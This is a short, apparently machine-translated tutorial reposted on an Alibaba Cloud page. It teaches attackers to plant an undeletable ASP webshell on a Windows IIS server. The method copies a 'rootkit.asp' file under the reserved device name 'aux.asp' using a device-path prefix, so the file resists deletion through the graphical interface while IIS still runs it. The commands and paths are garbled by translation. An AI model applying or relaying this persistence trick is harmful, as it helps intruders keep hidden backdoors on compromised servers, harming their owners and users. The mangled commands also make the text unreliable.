Create a webshell that will never be deleted using the new method

Source: Internet
Author: User

In Windows, the following words cannot be used to name files/folders, including "aux", "com1", "com2", "prn", "con", and "nul, however, you can use the command copy to create such folders in cmd:

D: wwwroot> copy rootkit. asp \. D: \ wwwrootaux. asp

1 file has been copied.

D: AspWebServerwwwroot> dir

The volume in drive D has no labels.

The serial number of the volume is 4A56-1D29.

D: AspWebServerwwwroot directory

<DIR> ..
42,756 aux. asp
9,083 index. asp
42,756 rootkit. asp
3 files in 94,595 bytes
2 directories, 3,307,204,608 available bytes

These files cannot be deleted on the graphic interface,

Only the following commands can be deleted:

D: wwwroot> del \. D: wwwrootaux. asp

D: wwwroot>

However, in IIS, such files can be successfully parsed.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.